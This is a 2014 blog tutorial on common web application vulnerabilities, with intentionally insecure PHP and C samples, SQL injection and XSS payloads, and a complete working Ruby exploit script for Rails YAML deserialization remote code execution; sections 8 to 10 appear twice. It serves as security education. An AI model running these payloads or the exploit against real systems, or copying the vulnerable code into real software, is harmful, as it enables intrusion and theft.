Wednesday 2 July 2014

Webapplication Vulnerabilities Explained


By on 09:21

Hey Guys, So I'm making this Tutorial on the most common website vulnerabilities and how they work. Hopefully people in this section will learn something off it, and might be able to use it when they Pentest a website! ^^



What I'll be discussing is:

    1) DoS (Denial of Service) Attacks
    2) SQL (Structured Query Language) Injection
    3) XSS (Cross-Site Scripting) Attacks
    4) Buffer Overflow Attacks
    5) RFI and LFI (Remote/Local File Inclusion)
    6) CSRF (Cross-Site Request Forgery) Attacks
    7) Brute-Forcing
    8) RCE (Remote Command Execution)
    9) MITM (Man In The Middle) Attacks
    10) Parameter Tampering

So let's get onto it! 

1) DoS (Denial of Service) Attacks

The Denial of Service happens for various reasons, but I won't describe anything like attackers trying to DoS a specific website with a botnet or compromised computers. I'd rather describe how a DoS vulnerability can happen when writing a code.

Usually we have to make a logical mistake to create a DoS scenario in our web application. Let's present such a scenario with a little PHP code. The code below is a PHP sample code that contains a logical error that can be exploited to cause a denial of service.

Code:
1
<?php
if(empty($_GET['file']))
  die('You didn't enter the file parameter.');

$file = $_GET['file'];
if(!file_exists($file))
  die('The chosen file does not exist.');
include($file);
?>
1

In the above code, I'm first checking wether the file parameter exists. If yes, I'm reading the value stored in the file parameter, otherwise I'm closing the application with an error message that says that I didn't enter the file parameter. Thus, we have to provide the file parameter in order to continue execution of the application. After that, we're reading the value stored in the file parameter and checking wether the file exists. If it doesn't, we're again closing the application with an error message about a non-existent file. But if a file does exist, we're including it into the current application execution. From the above code it's not instantly evident that the code contains a vulnerability that can result in a denial of service.

Let's say that we saved the above code as index.php and we're supplying a value of testing.php in a file parameter. In such a scenario everything works fine as long as the testing.php file exists and does some work. But what happens if we provide index.php as a value for the file parameter. In such a case, the index.php file is including itself into the current execution, and this happens infinitely, resulting in a denial of service. By default, the operating system allocates just so much memory to each application, that if that application wants more memory, it is usually forcibly closed by the operating system. This is exactly what happens in this case. When the index.php allocates as much memory as permitted, the operating system forcibly closes it.

Let's also present a request that we would have to send to the above application to force a DoS. Such a request is presented below:

Code:
GET /index.php?file=index.php HTTP/1.0

2) SQL (Structured Query Language) Injection

SQL injection is still quite common these days, even though it's been presented for over ten years. SQLi vulnerability happens when the application isn't checking the input values for special characters and encapsulating them, and uses the inputted value in the SQL query. An example of such an application is posted below: 

Code:
1
<html>
<body>

<?php
  $show = 1;
  if(!empty($_GET['username']) and !empty($_GET['password'])) {
    $user = $_GET['username'];
    $pass = $_GET['password'];

    mysql_connect("localhost", "admin", "admin");
    mysql_select_db("db");
    $result = mysql_query("SELECT * FROM users WHERE username='".$user."'
      AND password='".$pass."';");
    $row = mysql_fetch_row($result);
    if($row) {
      echo "Welcome user: ".$user;
      $show = 0;
    }
  }
?>

<?php if($show) { ?>
<form action="#">
  Username: <input type="text" name="username" /><br />
  Password : <input type="password" name="password" /><br />
</form>
</body>
</html>
<?php } ?>
1

We can see that we're checking wether the parameters username and password exist and have a correspondent value. If they have, we're reading the values into the $user and $pass variables. Afterwards, we're connecting to the SQL database on localhost:3306 with a username admin and password admin and selecting the database db. Then, we're constructing an SQL query sentence in which we're including the exact values from the username and password inputted values without checking it for special characters. 

But we should do that, because the above code is vulnerable to SQL injections, because we're not encapsulating the username and password inputted values. Imagine that we enter a value 'OR 1=1--' into both the username and password field. After that the constructed SQL query will be as follows: 

Code:
SELECT * FROM users WHERE username='' OR 1=1--'' AND password='' OR 1=1--''

This effectively selects all users from the table users because of the OR directive we've passed to the vulnerable application. The above SQL query is always evaluated to trueand we don't need to enter the right username and password, which would log us into the application. Instead we can enter special input values to break the logic behind the application and login nevertheless.

3) XSS (Cross-Site Scripting) Attacks

This attack is arguably as common as the original three. The cross-site scripting attack allows us to inject arbitrary code into the vulnerable webpage, which we can use to obtain sensitive information like usernames, passwords, cookies, etc. With the XSS attack we can circumvent the same-origin policy, which is present in all scripting languages executing at the client-side in a webbrowser. An example of such a language is Javascript. The same-origin policy allows the webbrowser to execute the client-side code only on a webpage from which the code originated.

There are three types of XSS attacks: 

1) Non-persistent XSS
The webpage is vulnerable if it accepts the user input and displays its contents on a webpage without proper validation of special characters like slashes, apostrophes, etc. In such cases we can include a javascript in the URL that we send to the user, which clicks on a link. Upon that, the included Javascript is executed in the users' browser. The Javascript can grab the users' cookie and sends it to the attackers' network. An example of an application that conatins the reflected XSS vulnerability is shown below:

Code:
<html>
<body>

<?php
  if(isset($_GET['p'])) {
    print "Habbahabbahabba: " . $_GET['p'];
  }
  else {
    print "habbahabbadoublehabba.";
  }
?>
</body>
</html>

First, we're checking to see if the parameter p is set and displaying its value without filtering any of the special characters. We can store a Javascript code in a value of parameter p that will be executed when the user clicks on the URL. An example of the URL that contains the Javascript code, which displays the user's cookie, is as follows:

Code:
GET /index.php?p=<script>alert(document.cookie)</script> HTTP/1.1

2) Persistent XSS

A persistent XSS attack is present when we can store the malicious code inside the vulnerable webpage permanently. Thus, our code will be executed every time a user visits the vulnerable webpage. Because the code is stored right in the webpage, we don't have to send emails to users convincing them to click on the link or something. Such a webpage must use some kind of a backend database where the users inputted values are stored. When someone visits a webpage, those values are taken from the database and displayed on the webpage, and thus executing the code.

3) DOM-based XSS

DOM-based XSS attacks happen when we send a malicious url to the user, who clicks on it. But this isn't the same as with non-persistent XSS attacks, because the website returns a valid non-malicious response. So the website is not vulnerable to non-persistent XSS attacks. The attack happens because the website uses a Javascript code that in turn uses the values from the URL address. An example of a DOM-based XSS is shown below.

Code:
<html>
<body>

<script type="text/javascript">
  p = document.location.href.substring(document.location.href.indexOf("p=")+2);
  document.write("Sup HF xD: " + p);
</script>

</body>
</html>

From the source code we can see that we're getting that Javascript back as a response on a request. That Javascript first reads the value of parameter p from the used URL address into a variable p. 
Afterwards it displays the value of parameter p. Because of this, the javascript is actually referring to the value stored in that parameter, which can be a malicious Javascript code. Let's say we're executing the request below:

Code:
/index.php?p=<script>alert(document.cookie)</script>

When the Javascript from the response is executed, it will read the value of parameter p, which is <script>alert(document.cookie)</script> and include it into processing. Therefore the malicious code in parameter p is executed nevertheless, even if the website is not vulnerable to persistent or non-persistent attacks.

4) Buffer Overflow attacks

Sometimes we can see executable programs being used as part of the application providing unique features. But even though the executables are still being used as part of web applications, buffer overflow vulnerabilities still exist. Imagine that web application is calling a system function to call an executable with the user inputted parameter. This doesn't prevent the bfufer overflows that could be present in executables from overflowing the program stack or heap structures.

An example of a program that contains a buffer overflow vulnerability:

Code:
void copy(char **argv) {
  char array[20];
  strcpy(array, argv[1]);
  printf("%sn", array);
}

main(int argc, char **argv) {
  copy(argv);
}

The program accepts arguements, but doesn't check the length of it. When it accepts the arguement, it's sent to the copy function, which copies it in a local buffer with thestrcpy function call. Though, there are only20 reserved bytes in the local array, so if an arguement is longer than 20 characters, a buffer overflow will occur. This causes the program to crash.

5) RFI and LFI (Remote/Local File Inclusion)

A RFI and LFI vulnerability allows users to read through the files from a filesystem, but fails to identify which user is allowed to read which file. This is also called Directory Traversal. This vulnerability usually occurs when a webserver doesn't check what file a user is trying to read. The main problem is that the application is not checking wether a user is trying to move up the directory or is looking into the parent directory by using the ../ or ... Because of that person cannot only read the directory the application uses, but all directories the application has access to.

An example of a vulnerable application:

Code:
<?php
if(empty($_GET['file']))
  die('You didn't enter the name of the file.');

$file = getcwd().'/'.$_GET['file'];
if(!file_exists($file))
  die('The filename doesn't exist.');

readfile($file);
?>

In the above code we're checking if the parameter file exists and contains a value. After we've constructed a path to the file that we're trying to read with the use of getcwdfunction that gets the current directory and appends it the value of the parameter p. At the end we're reading the file from the constructed path.

The problem occurs because we're not checking for any special characters in parameter p. This allows the attacker to browse up the directory tree. 


1) Local File Inclusion

With Local File Inclusion we're including the local file into current execution. By local I mean that the file is already present on the server's system. This is possible because the application doesn't capture the input of the attacker. Often Shells are uploaded with malicious PHP code that give access to the website's file manager etc.

2) Remote File Inclusion

With Remote File Inclusion we're including a remote file into the current execution. This can happen if the application has an upload option. In such cases, we can upload aShell to the filesystem and execute it. With this attack, we can take total controll as well.

Code:
<?php
if(empty($_GET['file']))
  die('You didn't enter the name of the file.');

$file = getcwd().'/'.$_GET['file'];
if(!file_exists($file))
  die('The filename doesn't exist.');

include($file);
?>

6) CSRF (Cross-Site Request Forgery) Attacks

A CSRF Vulnerability occurs when we can plant a request to a user, which is then sent to the targeted website in his/her name. The request then executes an action on the target website in the user's name. 

There are two questions we need to ask ourselves:

    1) How can we plant a request to the user?
    2) What kind of action can we execute on the target website?

The answer to the first question is simple. There are serveral way of doing this. Some are:

    1) In case the target website is vulnerable, we can temporarily inject some code in it. We need to construct the right URL that we sent to the user, and they need to click on it. If clicked, the request will be sent. But because of the vulnerability a second request will be made.
    2) Incase the target website is vulnerable and we can permanently inject code in it, we can just insert another request into the sourcecode of that webpage. Whenever for example the admin visits the page, the code will be executed and the action will be executed in their name. This doesn't even need social engineering since all the user needs to do is visit the page.
    3) We can also make our own page, which we have 100% control over. This way our code will work on our own webpage, though we have to make him/her click a link to our own webpage. And when the user visits our page, the action will be executed.

As you can see there are many ways to plant a request to the victim's browser. Though, we're only on half the story; we still need to talk about what kind of request we can inject to the site. We can do anything we like, the only condition we have is that the page has to support the action in order to execute it properly.

Let's say we have the page below:

Code:
<html>
<body>
  <img src="http://www.anything.com/index.php?id=1000&action=up"/>
</body>
</html>

If the user visits this page, a new request will be made requesting the index.php resource on the page shown in the code. But if that page doesn't have the page index.phpthe request will fail, if the index.php is there but doesn't use the parameters id and action, it fails as well. This means we need to know something about the files present on the system.

7) Brute-Forcing

This method is the practice of running a program to keep guessing the password and username of a website. This method is fastly going out of fashion as a maximum of login attempts has been added and spamcontrol like Captcha's has been added. Besides that, even without those obstacles it can take weeks to get the right password. The most common programs used for this are Hydra and Brutus. 

For Brute-Forcing with these programs you need a wordlist with passwords to guess. These are easy to find on the internet and can contain thousands to millions of words. On Youtube are alot of tutorials on brute-forcing with Hydra and Brutus. I'm not going to explain that in here since it's just a matter of filling in some stuff.


8) RCE (Remote Command Execution) Attacks

An RCE vulnerability includes that an attacker sends a crafted XML request to the application containing an embedded YAML-encoded object. Rails' perses the XML and loads the objects from YAML. In the process, arbitrary Ruby code sent by the attacker may be executed. This depends on the type and structure of the injected objects. 

This is an easy to pull-off exploit and only requires the URL of an application in order to send a Ruby Payload. Though, it's easy to detect and fix, but you have to be cautious since it's easy to take over the host and steal data using this vulnerability.

So, stop the shit. How does it work?

Okay, so knowing that Rails will YAML. load the payload, the only difficulty is building a try of objects that, when deserialized, executes arbitray Ruby code in the payload. The object graph must be constructed using only classes that are present in the process.

Code:
require "net/https"
require "uri"
require "base64"
require "rack"

url   = ARGV[0]
code  = File.read(ARGV[1])

# Construct a YAML payload wrapped in XML
payload = <<-PAYLOAD.strip.gsub("\n", "
")
<fail type="yaml">
--- !ruby/object:ERB
  template:
    src: !binary |-
      #{Base64.encode64(code)}
</fail>
PAYLOAD

# Build an HTTP request
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
  http.use_ssl = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
request = Net::HTTP::Post.new(uri.request_uri)
request["Content-Type"] = "text/xml"
request["X-HTTP-Method-Override"] = "get"
request.body = payload

# Print the response
response = http.request(request)
puts "HTTP/1.1 #{response.code} #{Rack::Utils::HTTP_STATUS_CODES[response.code.to_i]}"
response.each { |header, value| puts "#{header}: #{value}" }
puts
puts response.body

9) MiTM (Man in The Middle) Attacks

Normally when you browse the World Wide Web, the local network traffic is being sent from your computer to the gateway and from there on, it will disappear in the cloud we call internet. But when a MiTM occurs the traffic will go from your computer to the attackers computer, to the gateway and all the way back. Hereby the attacker is able to sniff all your outgoing and incoming network traffic. This is only possible when the attacker is on the same network as you are. A quick illustration of a normal packet flow and a malicious one is shown below:

Normal request:
Your_PC -> Gateway -> Internet
Your_PC <- Gateway <- Internet

MiTM request:
Your_PC -> Attacker_PC -> Gateway -> Internet
Your_PC <- Attacker_PC <- Gateway <- Internet

10)Data Tampering

Parameter tampering is a form of Web-based attack in which certain parameters in the URL or Web page form field data entered by a user are changed without that user's authorization. This points the browser to a link, page or site other than the one the user intends (although it may look exactly the same to the casual observer).

Parameter tampering can be employed by criminals and identity thieves to surreptitiously obtain personal or business information about the user. Countermeasures specific to the prevention of parameter tampering involve the validation of all parameters to ensure that they conform to standards concerning minimum and maximum allowable length, allowable numeric range, allowable character sequences and patterns, wether or not the parameter is actually required to conduct the transaction in question, and wether or not null is allowed.

Well... That was a shitload of info ^^. Obviously people and G00gle helped me, so alot of thanks from them! A big thanks to Dejan Lukan from InfoSec as well! Without him this thread wouldn't have been made ^^. I hope you guys learnt something and if I left out something please leave a comment below.

I know these are obviously not ALL web-application vulnerabilities. These are some of them. But the thread was already waaaaay too long, so I left some out.

Peace guys


8) RCE (Remote Command Execution) Attacks

An RCE vulnerability includes that an attacker sends a crafted XML request to the application containing an embedded YAML-encoded object. Rails' perses the XML and loads the objects from YAML. In the process, arbitrary Ruby code sent by the attacker may be executed. This depends on the type and structure of the injected objects. 

This is an easy to pull-off exploit and only requires the URL of an application in order to send a Ruby Payload. Though, it's easy to detect and fix, but you have to be cautious since it's easy to take over the host and steal data using this vulnerability.

So, stop the shit. How does it work?

Okay, so knowing that Rails will YAML. load the payload, the only difficulty is building a try of objects that, when deserialized, executes arbitray Ruby code in the payload. The object graph must be constructed using only classes that are present in the process.

Code:
require "net/https"
require "uri"
require "base64"
require "rack"

url   = ARGV[0]
code  = File.read(ARGV[1])

# Construct a YAML payload wrapped in XML
payload = <<-PAYLOAD.strip.gsub("\n", "
")
<fail type="yaml">
--- !ruby/object:ERB
  template:
    src: !binary |-
      #{Base64.encode64(code)}
</fail>
PAYLOAD

# Build an HTTP request
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
  http.use_ssl = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
request = Net::HTTP::Post.new(uri.request_uri)
request["Content-Type"] = "text/xml"
request["X-HTTP-Method-Override"] = "get"
request.body = payload

# Print the response
response = http.request(request)
puts "HTTP/1.1 #{response.code} #{Rack::Utils::HTTP_STATUS_CODES[response.code.to_i]}"
response.each { |header, value| puts "#{header}: #{value}" }
puts
puts response.body

9) MiTM (Man in The Middle) Attacks

Normally when you browse the World Wide Web, the local network traffic is being sent from your computer to the gateway and from there on, it will disappear in the cloud we call internet. But when a MiTM occurs the traffic will go from your computer to the attackers computer, to the gateway and all the way back. Hereby the attacker is able to sniff all your outgoing and incoming network traffic. This is only possible when the attacker is on the same network as you are. A quick illustration of a normal packet flow and a malicious one is shown below:

Normal request:
Your_PC -> Gateway -> Internet
Your_PC <- Gateway <- Internet

MiTM request:
Your_PC -> Attacker_PC -> Gateway -> Internet
Your_PC <- Attacker_PC <- Gateway <- Internet

10)Data Tampering

Parameter tampering is a form of Web-based attack in which certain parameters in the URL or Web page form field data entered by a user are changed without that user's authorization. This points the browser to a link, page or site other than the one the user intends (although it may look exactly the same to the casual observer).

Parameter tampering can be employed by criminals and identity thieves to surreptitiously obtain personal or business information about the user. Countermeasures specific to the prevention of parameter tampering involve the validation of all parameters to ensure that they conform to standards concerning minimum and maximum allowable length, allowable numeric range, allowable character sequences and patterns, wether or not the parameter is actually required to conduct the transaction in question, and wether or not null is allowed.

Well... That was a shitload of info ^^. Obviously people and G00gle helped me, so alot of thanks from them!  I hope you guys learnt something and if I left out something please leave a comment below.

I know these are obviously not ALL web-application vulnerabilities. These are some of them. But the thread was already waaaaay too long, so I left some out.

Peace guys

About Chirag Arya

Chirag is a young guy who is blessed with the art of Blogging,He love to Blog day in and day out,He is a Website Designer, Certified Hacker and a Certified Graphics Designer.

0 comments:

Post a Comment